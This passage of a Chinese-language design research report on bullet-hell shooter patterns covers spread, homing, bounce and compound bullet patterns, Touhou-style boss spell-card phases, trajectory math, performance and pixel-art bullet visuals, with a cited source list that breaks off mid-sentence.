阿空)的符卡组合说明微/宏闪避结合的动态弹幕(Sparen Guide A3)。\n- **像素风格设计建议**:直线弹适合**针弹/米弹/箭弹**(细长、方向明确);流弹用同色细弹,墙用同色+同速保证\"墙\"的视觉连续性;给子弹加方向性贴图可让玩家立即读出弹道(Sparen Guide A2)。\n\n### 2.5 随机散射(Random Spread)\n\n- **视觉描述**:子弹角度/速度在随机范围内散射,像火花、星尘、碎片。纯随机易显得\"无设计\"且不公平,优秀做法是给角度、速度、密度赋予\"范围与偏置\"(bias),即受控随机。(note.com 2-12 Particles;Sparen Guide A2 对随机角的负面评价)\n- **数学与实现要点**:\n - 在固定规律上叠加小随机:\"受控随机看起来更像弹幕\"(note.com 3-1):\n ```\n angle = base + i * even_angle + sin(t) * 波动幅度 # 规律性\n speed = base_speed + random(-0.2, 0.2) # 微扰\n ```\n - 随机角度也可用作\"种子角度\":例如连续发射环形弹时,每轮用一个随机初始角,避免盲区/避免每轮覆盖完全相同的路径(Sparen Guide A2)。\n- **经典游戏例子**:东方的\"小虫型符卡\"(《魔理沙的魔法书》分类,子弹细碎、颜色丰富,多为弱妖怪用,来源:Wikipedia 符卡)与妖精群随机弹(常识);Cave 的 Mushihimesama 强调\"更快、更集中\"的火力,其随机感更强(来源:Zen of the SHMUP / Reddit 讨论)。\n- **像素风格设计建议**:随机弹适合**点弹/星弹/米粒弹**等小尺寸,配合\"闪烁\"动画强调危险性;随机弹颜色可用亮白/黄等\"危险信号色\";注意与背景对比度(slynyrd)。\n\n### 2.6 追踪弹幕(Homing / Aimed)\n\n- **视觉描述**:\n - **瞄准弹(Aimed)**:开火瞬间朝玩家当前位置瞄准(可加扇形成\"瞄准扇/散弹\"),考验玩家\"引弹\"(misdirection)能力(note.com 2-4、maribelhearn 术语)。\n - **追踪弹(Homing)**:飞行中持续转向玩家。转向性能越弱越容易躲,追求\"稍微弯曲\"而非\"全程咬死\",反而更美观(note.com 2-13)。\n- **数学与实现要点**:\n ```\n desired = atan2(player.y - bullet.y, player.x - bullet.x)\n turn = clamp(desired - bullet.angle, -maxTurnRate*dt, +maxTurnRate*dt)\n bullet.angle += turn # 限速转向(turning performance)\n # 可选:加速度朝玩家、停顿后重新加速、分裂后重新锁定(note.com 2-13 变体)\n ```\n- **经典游戏例子**:瞄准弹是 Cave\"concentrated fire / tracking\"风格的基石(来源:SHMUP Workshop 03 YouTube——\"tracking and spread gates, 经典 CAVE 做法\");东方 Boss 的瞄准时间差/瞄准散弹(常识)。追踪弹在 DoDonPachi 的\"自爆弹\"(suicide bullets,击破敌人释放的追踪自机弹)中大量出现(来源:TimeExtension)。\n- **像素风格设计建议**:追踪弹要用**明显的方向性贴图**(箭头/小刀/蝴蝶等)且贴图随角度旋转,否则玩家读不出它在转弯(Sparen Guide A2:\"无方向性贴图的圆弹不传达转向\")。用发光/描边强调\"这只子弹会追我\"。\n\n### 2.7 反弹弹幕(Bounce / Ricochet)\n\n- **视觉描述**:子弹撞到屏幕边缘/墙壁后反弹继续飞行,轨迹呈折线。属于\"轨迹型\"弹幕中较少见的一类。\n- **数学与实现要点**:碰撞边缘时反射角度:`angle = π - angle`(左右边)或 `angle = -angle`(上下边),或对速度向量做分量取反;可加转数上限让子弹弹几次后消失。\n- **经典游戏例子**:相比东方式纵版弹幕(子弹通常出屏即消),反弹弹更常见于街机/横版与部分同人弹幕(如某些 Cave 之外的 STG);东方中近乎**没有**常规反弹弹(常识判断,未见调研资料佐证其广泛存在)。⚠️ 这属于\"相对少见\"的类型,若要在本项目中使用,建议作为特色武器或 Boss 特殊阶段引入,而非基础词库。\n- **像素风格设计建议**:反弹弹适合圆润的**圆形/椭弹**(避免方向性贴图在反弹瞬间的旋转跳变违和);反弹瞬间加 1–2 帧\"压缩-回弹\"动画或火花粒子,强化物理感;用预警或颜色提示\"它会弹\"。\n\n### 2.8 滞留弹幕(Static / Lingering)\n\n- **视觉描述**:子弹停留在场上形成持续障碍,或极慢速移动封锁区域。包括:静止弹墙、悬浮使魔、地面/空中持续存在的弹(laser 也可视为线状滞留)。作用是**区域封锁(area denial)**:封住一部分屏幕,为后续弹幕做铺垫,或堵住之前的逃逸路线(SHMUP Workshop 03:area denial patterns 的定义;Boghog:bullet sealing、ceasefire zone 等反挫败机制)。\n- **数学与实现要点**:寿命(lifespan)拉长 + 速度降到 ~0;或通过\"分裂条件=凝固\"实现\"飞行到某点后停住\"。可让滞留弹周期性闪烁(半透明 + 呼吸)提示\"仍在威胁中\"。\n- **经典游戏例子**:东方\"压迫型符卡\"(《魔理沙的魔法书》:限制自机移动范围的符卡,来源 Wikipedia,如灵梦的梦符「二重结界」以弹幕构成双重结界限制移动——B 站文章以它为例);激光墙封路也是常见形式(note.com 2-14,激光\"clearly block off parts of the screen\")。\n- **像素风格设计建议**:滞留弹必须与\"会动的危险弹\"在视觉上区分——建议**低频闪烁 + 半透明 + 固定描边**;或用\"发光的柱子/结界\"图形(如结界/棱镜形状)表示区域阻碍物。静止弹用冷色系(蓝/紫),活动弹用暖色系,形成语义分离。\n\n### 2.9 组合弹幕(Compound Patterns)\n\n- **视觉描述**:把多个模式叠加。例如\"螺旋铺满屏 + 瞄准弹逼玩家移动\",或\"展开环 + 中途分裂 + 激光堵路\"。(note.com 2-15 Composite)\n- **设计原则**(note.com 3-2 / 2-15):\n - 组合时**指定一个主模式**,其余为伴奏,避免信息过载。\n - 元素越多,越要依赖颜色编码、预警、缝隙设计来保证可读性。\n - 组合要形成\"分工\":背景压迫 + 前景逼迫(如中间难度组合:旋转全向弹 + 上方落雨 + 周期性瞄准弹)。\n- **经典游戏例子**:东方高阶符卡几乎都是组合(常识,如多层螺旋+分裂环+预警激光即 note.com 高级 Boss 推荐组合);阿空(地灵殿)的符卡是微/宏闪避结合的著名组合(Sparen Guide A3)。\n- **像素风格设计建议**:组合弹幕在像素风下最容易\"糊成一团\"。建议:每个模式用**不同主色**;不同模式用**不同子弹形状**(圆=压迫、针=直线、星=装饰/特殊);层与层之间拉开速度差,让玩家能分层读取。\n\n### 2.10 调研补充的常用模式\n\n以下模式来自 note.com 的《15 种经典弹幕模式》与 Sparen 指南,按需并入本项目词库:\n\n| 模式 | 视觉/玩法特征 | 要点 | 像素建议 |\n|---|---|---|---|\n| **波型/幕帘(Wave/Curtain)** | 正弦波排列的子弹带,像波浪/极光/瀑布,容易与 BGM 节奏联动 | 重点是\"缝隙的流动感\"而非子弹本身;`y = a·sin(ωt + φ)` 排布 | 用细长米弹/针弹沿正弦排布,同色系渐变 |\n| **网格(Grid)** | 横竖规则排列,钻石/晶体状,几何美且缝隙可读;纯网格易单调,加大小的速度差/局部缺口 | 强规律、易读、密度↑难度↑ | 用规则小圆弹 + 网格闪烁/错位动画 |\n| **花状(Floral)** | 对称花瓣排列(5/6/8 瓣),华丽,适合符卡演出 | 对称越高越精致;过度均匀会单调,周期性转相位 | 花瓣用两类颜色交替(瓣=亮、蕊=暗)强化图案 |\n| **星形/多边形(Star)** | 强调特定顶点(5/6/8 向)的星形放射 | 少弹星形也醒目,适合元素/性格表达 | 用星形贴图子弹 + 旋转动画 |\n| **交叉(Intersection)** | 多股弹流交叉如编织/光流;视觉美但缝隙易被切断 | 关注\"玩家可走的路径\"而非交点;调速度/密度/交叉角 | 两条交叉流用互补色(如青 vs 品红)|\n| **落雨(Rain)** | 自上而下倾泻,天然适合道中演出 | 全随机易不公平,保持一定规律美观 | 竖直方向子弹用垂直长条贴图或水滴形 |\n| **粒子(Particles)** | 火花/星尘式散落,适合爆炸、花瓣、魔法粒子、Boss 登场 | 给角度/速度/密度一个\"范围+偏置\" | 小尺寸 + 闪烁,可叠加在其他弹幕上做纹理 |\n| **激光(Laser)** | 线/带状攻击,视觉冲击强,可明确封路 | 发射前先给**细预警线(telegraph)**最公平;有固定/旋转/弯曲/网格激光 | 预警线细→粗的 2 帧过渡动画;激光主体用高亮+描边 |\n| **分裂弹(Split)** | 飞行中途/定时/到距离后爆成子弹(如 1→3),常伴随\"先停顿\"预警 | 分裂条件:时间/距离/位置;分裂后子弹可重新锁定玩家(note.com 2-13) | 母弹大而亮(告知\"会爆\"),子弹小一号;停顿帧加\"蓄力闪光\" |\n\n---\n\n## 3. Boss 战弹幕设计\n\n### 3.1 阶段转换与东方Project符卡系统(Spell Card)\n\n**东方Project 的符卡系统**(来源:Wikipedia《符卡》、百度百科、PIXNET 东方介绍):\n\n- **来源与规则**:符卡(Spell Card,スペルカード)由《东方红魔乡》首次引入(ZUN 自述为\"比其它系统更早面世\"而开发本作)。符卡规则 = \"给绝技命名并宣言\"的决斗规则:宣言、约定符卡张数、击破对方全部符卡即胜。\n- **敌方符卡流程**:\n 1. **非符(nonspell)**:Boss 的普通攻击,一般耐久条分格为单位;\n 2. **符卡宣言**:血量削到阈值时 Boss \"念符\"(宣言),画面切换为该角色专属 Spell Card 背景,进入符卡攻击;\n 3. **符卡红利(Spell Card Bonus, SCB)**:无 Miss 无 Bomb 击破符卡可获得额外分数,随时间递减;擦弹可增加红利;\n 4. **时间限制**:每张符卡有残余时间显示,超时 Boss 自动进入下一波(此时无法收取符卡)。\n- **符卡变体**:\n - **增强型符卡**:随血量削减,弹幕密度/速度逐渐增加,越到后面越难(强化难度的天然手段);\n - **时效型/时限型符卡**:耐久无法直接削减,玩家必须\"死守到时间结束\"才能收取(生存符卡 survival card;如《永夜抄》部分符卡);\n - **Last Spell / Last Word / Overdrive**:残机为零或特定条件下的最终符卡(Extra/隐藏挑战用)。\n- **难度变化**:同一符卡在 Easy/Normal 与 Hard/Lunatic 下常有**不同名字**(Higher 难度名字更华丽),弹幕排列与颜色也会变化(Wikipedia)。\n- **《魔理沙的魔法书》对符卡的分类**(Wikipedia):演剧型(重视觉效果、大量非瞄准装饰弹)、奴隶型(用使魔/人偶/式神攻击)、小虫型(细碎多彩、弱妖怪)、压迫型(限制自机移动范围)、兴奋剂型(强化自身)。\n\n**对本项目的启示**:阶段(Phase)不必按血量硬切,可以模仿\"非符→符卡宣言→符卡\"的节奏:普通阶段保持低密度教学,宣言瞬间清场 + 特效 + 显示符卡名,制造\"仪式感\";生存符卡(时限型)能复用已有图案、只改目标(熬过 X 秒),开发成本低、演出效果好。\n\n### 3.2 弹幕密度控制\n\n- **密度不是越多越好**:'curtain fire'不等于无限堆弹;密度阈值之后,可读性(readability)崩坏,玩家感到\"不公平\"而非\"华丽\"(note.com 3-2:设计缝隙而非密度)。\n- **难度曲线**:\n - 报告参考\"轻/重阶段交替\"(Danmaku Unlimited 3 采用东方式 light/heavy 交替:轻阶段让玩家喘息与移动,重阶段密集压迫,来源 Forgotten Worlds 采访);\n - 每个 Boss 阶段内\"缓慢升级\":起点是玩家已见过的简单变体,随后逐次加大子弹量/缩小缝隙/提高速度(SHMUP Workshop 03:slow escalation)。\n - 不同难度等级通过\"同一图案改密度/速度/名字\"来分层(东方难度差异,Wikipedia)。\n- **可控变量**(可做成运行时调参工具):子弹数、速度、发射间隔、扇形张角、环形偏转、随机种子、加层数。\n- **Cave 的 rank 系统**:根据玩家当前表现(残机/雷/击破率)动态调整弹幕强度——可选的高级机制(来源:TimeExtension;Boghog 亦建议用\"credit feed 降 rank\"来练习 Boss)。\n\n### 3.3 安全路径设计(Safe Zones / 缝隙 / 路线)\n\n弹幕的本质是\"缝隙谜题\",安全路径是设计对象而非巧合:\n\n- **微闪避(micrododging)**:在密集子弹的缝隙间小幅移动穿行(Sparen A3 / maribelhearn / Boghog);\n- **宏闪避(macrododging)**:对整个弹幕编队进行大幅度绕行、找到整块安全区(safe spot / safespot——\"内部完全不会被击中(或近于)的点/区域\",maribelhearn 术语);东方中 BOWAP、咲夜道中非符等是经典 safespot(maribelhearn Beginner Guide / jargon);\n- **引弹(streaming / misdirection)**:瞄准弹只有在玩家\"把弹流引到别处\"时才安全——设计上,持续的瞄准弹迫使玩家移动并制造\"下一波更难\"的位置压力(SHMUP Workshop 03:被满屏引导到尴尬位置会削弱后续应对;maribelhearn:misdirection 常在数秒空隙内完成);\n- **路线(routing)**:玩家在静态/半静态弹幕中规划的具体移动路径,是\"设计缝隙\"的最终产物;\n- **设计检查表**(综合 note.com 3-2 与 SHMUP Workshop 03):\n 1. 画图时刻意留下**可见的缝隙**(gap width > 判定点 + 子弹判定 + 误差余量);\n 2. 区分\"安全点型\"(原地不动即可)与\"移动型\"(需要持续引弹)两类安全路径,交替使用;\n 3. 用瞄准弹/区域封锁弹**主动关闭**上一轮的安全点,防止玩家蹲坑(area denial,SHMUP Workshop 03;以及\"anti-camping:避免玩家龟缩\"的 Boss 设计目标);\n 4. 每次重复图案时用随机种子旋转相位,避免出现固定盲区(Sparen A2)。\n\n### 3.4 时间限制与弹幕压力\n\n- **时限符卡**:上面已述(生存符卡)。在设计上,时限 = \"不需要 DPS 检验,纯粹考验躲避\",适合放在 Boss 战中段作为节奏变化点(东方文花帖/弹幕天邪鬼等衍生作品以\"时限+道具\"为核心玩法)。\n- **压力节奏(tension-release loop)**:\n - 每个波次设计\"入口压力→主压力→释放\"三段式:先预警(低压力、可读),再高压(核心躲避),最后 1–2 秒\"突然变简单\"给玩家胜利快感(Boss Up YouTube:survive 之后的那 1 秒喘息极具成瘾性);\n - 压力来源可以分层:视觉压力(满屏)、逻辑压力(瞄准)、时间压力(超时/残机消耗)。\n- **Boss 战的五个设计要素**(来源:Game Developer《Video Game Boss Design for Shmups》):\n 1. **难度 Difficulty**:首关 Boss 必须让\"认真玩的人\"能过;Boss 攻击应与关卡已有敌人/道具主题连贯(\"进化\"而非\"空降\");\n 2. **多样性 Variety**:Boss 血量条分段显示图案边界;同一段血内可循环多个攻击,且每次攻击要求不同的躲避/输出策略;\n 3. **时长 Length**:Boss 战时长与关卡时长成比例;中 Boss 不应比关底 Boss 长;把\"信息不对等的假 Boss → 真 Boss\"当一次性惊喜;\n 4. **回报 Pay-off**:Boss 战末尾(濒死前)往往\"倾泻所有弹幕\"制造最终高潮(Mushihimesama、ESPGaluda2、Ikaruga 第 3 章 Boss 都是例子);好回报 = 节奏铺垫 + 假危机;\n 5. **角色 Character**:爆炸方式、受击反馈、蓄力/宣言动画、音效都要符合角色性格——这是\"为什么这个 Boss 挡在这里\"的叙事答案。\n\n### 3.5 东方式 Boss 战结构参考(综合)\n\n1. 开战:非符 1(轻、教学、环/扇)\n2. 符卡宣言(换背景、念符名)→ 符卡 1(主题图案,时间限制,收取奖励)\n3. 非符 2(中压,引入瞄准/引弹)\n4. 符卡 2(组合图案,增强型:随血量变密)→ ……\n5. 濒死:Last Spell / 最终符卡(最强+最华丽)→ 消弹演出(击破瞬间子弹变道具)\n6. (挑战层)隐藏:Extra 时限符卡 / 弹幕天邪鬼式\"看似不可能\"组合\n\n---\n\n## 4. 数学原理与实现\n\n### 4.1 基础参数体系\n\n任何一个弹幕模式都可由以下参数组合生成(来源:note.com 第 4 章;o3de-diorama 参数表):\n\n| 参数 | 作用 | 备注 |\n|---|---|---|\n| 发射位置 | 敌中心/屏幕边缘/多炮塔 | 决定子弹出生点阵型 |\n| **发射角度** | 固定 / 旋转 / 瞄准 / 随机 | 最易出效果 |\n| 子弹数量 | 密度 | 环形=一圈数量、扇形=扇内数量 |\n| 发射间隔 | 节奏 | 决定\"流\"还是\"波\" |\n| 子弹速度 | 难度与观感 | 快=危险、慢=可读 |\n| 加速度 | 节奏与曲线 | 减速弹、加速弹 |\n| 角速度 | 螺旋、转向弹 | 曲线弹的核心 |\n| 寿命 | 消失时机 | 滞留弹=长寿命 |\n| 分裂条件 | 时间/距离/位置 | 分裂弹 |\n| 颜色/大小 | 可读性与美观 | 颜色=属性编码 |\n\n### 4.2 角度与排列公式(常用)\n\n- **环形**:`angle_i = base + i·360/n`,`v = speed·(cos, sin)`(2.1 节)\n- **扇形**:`angle_i = aim - spread/2 + i·spread/(n-1)`(2.3 节)\n- **瞄准**:`angle = atan2(py - ey, px - ex) + 偏移`(瞄准扇 = 在其两侧均匀分布)\n- **网格**:对 `(i,j)` 行列给固定 x/y 间距\n- **正弦波**:`x 或 y += A·sin(ω·t + φ)`(2.10 波型)\n- **花瓣/星形**:`angle_i = base + i·(360/petal) + 相位`,再由花瓣内多颗子弹构成瓣形\n- **规律+微扰**:`angle = base + i·even + sin(t)·fluct`,`speed = base + random(-δ,δ)`(note.com 3-1)\n- **周期循环**:如\"每 60 帧一波大浪、每 15 帧小弹、每 4 发反转角度\"制造音乐性节奏(note.com 3-4)\n\n### 4.3 速度变化(加速/减速弹幕)\n\nDanmokou(DMK 引擎)归纳的常见运动(来源:Danmokou Tutorial 6):\n\n1. 恒定速度直线(默认)\n2. **直线加速**(`v(t) = v0 + a·t`,可正可负:赶人弹/诱导弹)\n3. 速度在慢/快之间周期切换\n4. 两位置间往返\n5. 极坐标运动(径向+角速度)\n6. 波浪线(squiggly)\n7. 旋转运动方向(追踪/转向)\n8. 相对另一运动物体运动(随从弹/母舰子机)\n9. 任意参数方程轨迹\n\n工程提示:DMK 把运动建模为**函数**(`rvelocity(px(3 + sine(4, 0.6, t)))`),而不是\"速度/加速度两个标量\",从而任意轨迹即插即用;其子弹更新循环一次函数调用即可支撑 10 万以上子弹 @4K 120FPS(DMK 官方数据)。\n\n### 4.4 曲线弹幕(转向 / 极坐标 / 贝塞尔)\n\n- **限速转向(追踪弹)**:每帧把朝向转向上限内的目标方向(2.6 节公式);\"转向弱一点更好躲也更好看\"(note.com 2-13)。\n- **极坐标螺旋**:`r(t)=a·t, θ(t)=b·t` → 直角坐标 `x = cx + r·cosθ, y = cy + r·sinθ`(DMK 示例 `polar(2*t, 80*t)`)。注意极坐标绕圈时转速均匀性需要弧长参数化,DMK 作者自述\"没有闭式解,需迭代求解\"。\n- **贝塞尔曲线(弯曲弹)**:二次贝塞尔 `B(t) = (1-t)²·P0 + 2(1-t)·t·P1 + t²·P2`,每帧采样 t∈[0,1] 作为下一位置(通用图形学做法,非本次调研单一来源;用于\"弧形弹道/水漂弹\")。三次贝塞尔 `C(t)` 用于更复杂的 S 形弹道。\n- **正弦扰动**:在固定方向上叠加正弦横向偏移,成为\"S 形\"弹(Unity 论坛实现示例)。\n- **角度退化/曲线激光**:东方中存在\"准激光\"(弧形激光、曲线灵弹),判定比直线激光大(thwiki 弹型介绍)——曲线弹道要么给足预警,要么减小判定。\n\n### 4.5 性能实现建议\n\n- **对象池(object pool)**:固定容量池 + 硬上限,防止无限生成(o3de-diorama 的 `Max Bullets` 硬上限设计)。\n- **批量渲染**:同一纹理的整组子弹一次 draw call(sprite batch / 合批)。\n- **碰撞**:每颗活子弹对目标碰撞层做一次重叠查询,目标层只放玩家/护盾几个碰撞体,几百颗子弹也便宜(o3de-diorama)。\n- **功能分层**:发射器(emitter)只管几何与碰撞,伤害/计分留在游戏侧(o3de-diorama 的分工建议)。\n\n---\n\n## 5. 像素风格下的弹幕视觉设计\n\n### 5.1 子弹形状库\n\n**核心原则**:'shmup 最核心的是弹幕的可读性(visibility)——在任何背景下都能被读出'(slynyrd Pixelblog 31)。形状即语义:**形状要匹配行为**(Sparen Guide A2 / Pixelblog 32:箭形弹配直线飞行才合理;追踪弹要旋转指向的运动方向)。\n\n**东方参考形状清单**(来源:thwiki《东方全弹型介绍与中弹判定分析》、maribelhearn 子弹类型表、Steam Touhou Bullets Model Pack):\n\n| 类别 | 形状 | 用途/特点 | 像素建议 |\n|---|---|---|---|\n| 圆形系 | 小玉(带圈/不带圈)、中玉、大玉(空心) | 通用基础弹;大玉实际判定仅中心空洞 | 6–10px 圆 + 描边;大玉用\"中空环\"贴图配透明中心 |\n| 粒状 | 点弹、米弹 | 点弹最小(<判定点),米弹为最高发弹量弹型之一 | 3–4px 点、8×4 米粒;米弹风速后有变短/判定变大差异 |\n| 尖形 | 针弹/箭弹/晶弹 | 速度感、方向感最强 | 长 8–14px 的三角/箭头,尖端高亮 |\n| 刀剑形 | 刀弹、剑弹、苦无 | 角色辨识度高(如咲夜/蕾米) | 剑身+尖端高光;前端无判定所以略细 |\n| 星光形 | 星弹(大/小)、光弹 | 华丽、魔法感;光弹判定偏大 | 4 角/5 角星 + 旋转动画 |\n| 特殊形 | 蝶弹、心弹、音符弹、钱弹、鳞弹(带\"翼\") | 角色主题、装饰 | 2 帧扇翅/跳动动画;鳞弹判定仅中心点 |\n| 火焰/流体 | 炎弹、水滴/滴弹 | 不规则 | 2–3 帧沸腾动画,\"躲前端\"语义 |\n| 激光 | 线段激光/射线激光、弧形激光 | 封路、视觉冲击 | 预警线(细)→ 实体(粗)2 帧过渡;线身描边 |\n\n**东方判定参考**(thwiki):多数弹\"判定 < 视觉\":大玉只有中心空洞有效、鳞弹只有中心点、剑弹前端无判定、激光靠预警线判定;当\"准激光/粥弹/核弹\"等判定欺诈弹出现时,需要玩家另行学习——像素风下**不要滥用判定欺诈**,默认\"所见即所判\"更公平。\n\n### 5.2 颜色编码\n\n- **基础原则**:子弹是屏幕上最鲜艳的元素;用高饱和色与背景拉开对比;颜色可传达属性/机制语义(slynyrd;note.com 3-3)。\n- **按属性/危险度编码**示例:\n - 红/橙 = 高速、致命、普通攻击;\n - 蓝/青 = 特殊判定、特殊移动(如反弹/曲线/激光);\n - 紫/白 = 装饰弹、非致命、演出用;\n - 绿 = 通常用于玩家/友方,避免敌方子弹大量用绿(语义混淆)。\n - (以上为常见实践惯例,属综合常识,非单一文献结论。)\n- **注意**:颜色要与背景/特效区分(note.com 3-3);考虑红绿色盲——**不要只靠红/绿区分要害**,同时用形状/大小/闪烁区分。\n- **同波同色**:同一次发射的子弹用同一色系,方便玩家把\"一波子弹\"当整体读(note.com 3-3:子弹类型或危险度不同则换色)。\n\n### 5.3 子弹大小与可躲避性\n\n- **判定点 vs 视觉**:自机 hitbox 远小于机绘(Cave 1px hitbox、DoDonPachi 子弹判定约直径 20%,来源 TimeExtension/Shmups Wiki);聚焦模式时在判定点处显示小红点让玩家能\"穿缝\"。\n- **子弹尺寸**:越大越可见但占屏;太小(<判定点)会\"消失\"且威胁感弱。建议子弹视觉 6–16px 常见、点弹 3–4px、激光不限长(slynyrd:子弹应大小多样,通常越大伤害越高)。\n- **缝隙设计**:安全缝隙宽度 = 玩家判定 + 子弹判定 + 玩家操作误差(微闪避用低速聚焦移动保证精度);设计时给缝隙留 ≥2–3px 冗余(工程经验法则)。\n- **密度 vs 大小**:子弹越小越能密(给留出视觉通道);同屏密度高时,小弹+弱判定(空心大玉)是\"看起来吓人、实际可穿\"的经典手法(thwiki 大玉示例)。\n\n### 5.4 发光/粒子效果在像素风格中的处理\n\n- **描边(outline)**:几乎必备,最好**双层描边**(亮色外圈+暗色内圈)以保证任何背景下可读;pixel 风格常用白描边与其它精灵(深描边)区分(slynyrd)。\n- **闪烁/双帧动画**:两帧交替即可做出\"呼吸/危险脉冲\";对比度越大越激烈,但太强会难以追踪快速弹(slynyrd)。\n- **发光**:像素风发光 = 亮色核心 + 1 层半透明同色光晕(加色混合 additive)或\"外扩 1px 亮描边\";避免真实 bloom 破坏像素感。\n- **粒子**:爆炸/火花/花瓣用\"范围+偏置\"的受控随机(note.com 2-12);粒子可叠加在弹幕上做纹理而不是独立威胁。\n- **脉冲缩放**:呼吸/脉动(expanding-contracting)可让呆滞的圆弹\"活起来\"(slynyrd 的 rotation/motion 建议)。\n- **消弹特效**:Boss 符卡击破瞬间,全屏子弹转为道具/星点,是东方色的标志性演出(Touhou Wiki Items:子弹在 Boss 攻击结束/未超时被打掉时转为星道具;消弹 cancel 亦为计分要素,maribelhearn 术语)。\n\n### 5.5 弹幕层级的视觉优先级\n\n绘制顺序(从底层到顶层,工程惯例 + Reddit shmupdev 设计 101 摘要:\"敌方子弹永远画在其它对象之上\"):\n\n1. 背景/场景层\n2. 地面敌人/可破坏物\n3. 道具、点数\n4. 玩家射击、爆炸特效(半透明)\n5. **敌方子弹(最高优先级之一,必须覆盖玩家机绘)**\n6. 玩家机绘 + 判定点指示(聚焦时)\n7. UI(血量/符卡名/时间)\n\n理由:玩家需要\"先读弹,再读自己\";若子弹被机绘/特效遮挡,就会产生\"判定杀(clipdeath)\"的挫败感(maribelhearn 术语)。\n\n### 5.6 像素风格弹幕设计清单(落地用)\n\n- [ ] 每种模式指定**1 个主色 + 1 种子弹形状**(勿两种都在变);\n- [ ] 危险弹用暖色+闪光,装饰弹用冷色/暗色调;\n- [ ] 所有敌方子弹带描边(建议双层),且在玩家机绘之上绘制;\n- [ ] 直线/追踪/曲线弹使用**方向性贴图**(箭头/针/刀)并随角度旋转;\n- [ ] 预警:激光先细线→粗线;分裂弹先停顿+蓄力闪光;大威力攻击让 Boss 本体发光(note.com 3-5);\n- [ ] 判定 < 视觉:默认简化判定(圆/椭圆),为\"大玉/鳞弹\"这类特殊判定做贴图注释(空心=可穿);\n- [ ] 像素分辨率建议在 320×180~640×360 区间定基准(slynyrd 建议 480×270),保证单个子弹仍有足够像素表达细节;\n- [ ] 每张符卡/阶段限定子弹色彩数(建议 2–3 色),避免像素噪点化。\n\n---\n\n## 6. 对本项目(像素风弹幕游戏)的落地建议汇总\n\n1. **词库起步**:环形 / 螺旋 / 扇形 / 直线(流+墙)/ 瞄准扇 / 受控随机 / 分裂弹 / 激光(带预警)/ 滞留结界,共 9 个基础模式,先用\"参数化发射器\"(Count/Aim/Spread/Spin/Speed/FireRate/Lifetime)实现(参照 o3de-diorama 的参数表),Boss 脚本只做\"模式序列 + 转场\",成本最低。\n2. **难度曲线**:按\"非符(轻)→ 符卡(重)→ 非符 → 符卡 …\"排布;每张符卡 = 1 主题图案 + 增强型变密 + 时限生存变体(一套图案三种玩法)。\n3. **公平性**:所有危险性一定要有预警(telegraph);缝隙 > 判定 + 冗余;颜色+形状双通道编码。\n4. **像素视觉**:双层描边 + 双帧闪烁 + 加色发光小光晕 + 同波同色 2–3 色限制 + 子弹层级最高。\n5. **性能**:对象池 + 合批 + 简化碰撞层(目标只放玩家/护盾),确保几百到几千颗子弹稳定 60FPS。\n\n---\n\n## 7. 信息来源与置信度说明\n\n按信息诚实原则,对所有关键结论标注来源与置信度:\n\n**(A)本轮调研直接引用的网页来源(置信度高,可复核):**\n\n1. npaka,《A Summary of 15 Beautiful Bullet Hell Patterns in Danmaku Shooters》(note.com)——15 种模式分类、组合配方、参数与设计 tips:https://note.com/npaka/n/n5d38b7d84173?hl=en\n2. Sparen's Danmaku Design Studio,Guide A2(角度类型、方向性子弹、心理过滤、danmaku vs 普通 STG)、Guide A3(墙的定义、微/宏闪避、Utsuho 例子):https://sparen.github.io/ph3tutorials/ddsga2.html 、ddsga3.html\n3. Danmokou(DMK 引擎)Tutorial 6(函数式运动系统、极坐标螺旋公式、性能数据、贝塞尔/参数方程讨论):https://dmk.bagoum.com/docs/articles/t06.html\n4. Wikipedia《符卡》(符卡规则、宣言、红利、时效/增强型、Last Spell/Last Word/Overdrive、难度差异、魔理沙魔法书分类):https://zh.wikipedia.org/zh-hans/符卡\n5. thwiki/东方吧Wiki《东方全弹型介绍与中弹判定分析》(小玉/米弹/点弹/大玉/光弹/针弹/鳞弹/剑弹/炎弹/激光/核弹/粥弹及判定细则):https://touhou8.thwiki.cc/index.php?edition-view-1281-1.html=\n6. maribelhearn 《Touhou Community Jargon》(子弹类型表、micro/macro dodge、safespot、streaming、misdirection、routing、cancel、clipdeath 等术语):https://maribelhearn.com/faq/jargon(含中文版)\n7. maribelhearn Beginner Guide(微/宏闪避、流弹引弹、safespot 举例 BOWAP 等):https://wiki.maribelhearn.com/wiki/Beginner_Guide\n8. slynyrd Pixelblog 31《Shmup Design Part 1》(像素子弹设计:颜色/大小/形状/描边/闪烁/旋转、分辨率建议);Pixelblog 32(外观与行为匹配):https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design\n9. Game Developer《Video Game Boss Design For Shmups》(Boss 五要素:难度/多样性/时长/回报/角色;健康条分段;Cave 例子):https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups\n10. SHMUP Workshop 03《Bullet Pattern Design》(模式角色:警告/位移/区域封锁/最终引导;slow escalation;微宏闪避;CAVE tracking 做法;Boss 设计目标):YouTube ArZRZSYICLo\n11. TimeExtension《CAVE Story: The History of DonPachi》(命中率 20% 判定、自爆弹、rank 系统、1px hitbox);Shmups Wiki《CAVE》词条(1px 判定、游戏清单):https://www.timeextension.com/features/cave-story-the-history-of-donpachi-the-shmup-series-that-changed-everything\n12. Forgotten Worlds《A guide to Danmaku Unlimited 3》(脚本化弹幕、Touhou 式轻/重阶段交替):https://www.forgottenworlds.net/bullet-hell-danmaku\n13. Zen of the SHMUP(DonPachi 系列=图案+记忆、Mushihimesama=快速集中火、Cave 组合):https://richardschupp.wordpress.com/tag/the-zen-of-the-shmup\n14. o3de-diorama《24-bullet-patterns.md》(Ring/Fan/Spiral 参数表、对象池、合批、碰撞层设计):https://github.com/nickschuetz/o3de-diorama/blob/main/Docs/howto/24-bullet-patterns.md\n15. Boghog's bullet hell shmup 101(bullet sealing、micro/macro dodge 补充):https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101\n16. Reddit r/shmupdev《BULLET HELL SHMUP DESIGN 101》(\"敌方子弹永远绘制在其他对象之上\"等原则,仅经搜索摘要获取,置信度中):https://www.reddit.com/r/shmupdev/comments/13w730k/\n17. 其它:Summer Engine(判定点/聚焦/擦弹术语)、Touhou Wiki Items(消弹转星道具)、Steam Touhou Bullets Model Pack(子弹形状清单)、Ted Lim《Day 49》(sin/cos 扇面公式)等。\n\n**(B)置信度说明:**\n\n- 上述 (A) 列来源中的具体论断:**我很确定**它们出自对应来源(可直接复核)。\n- 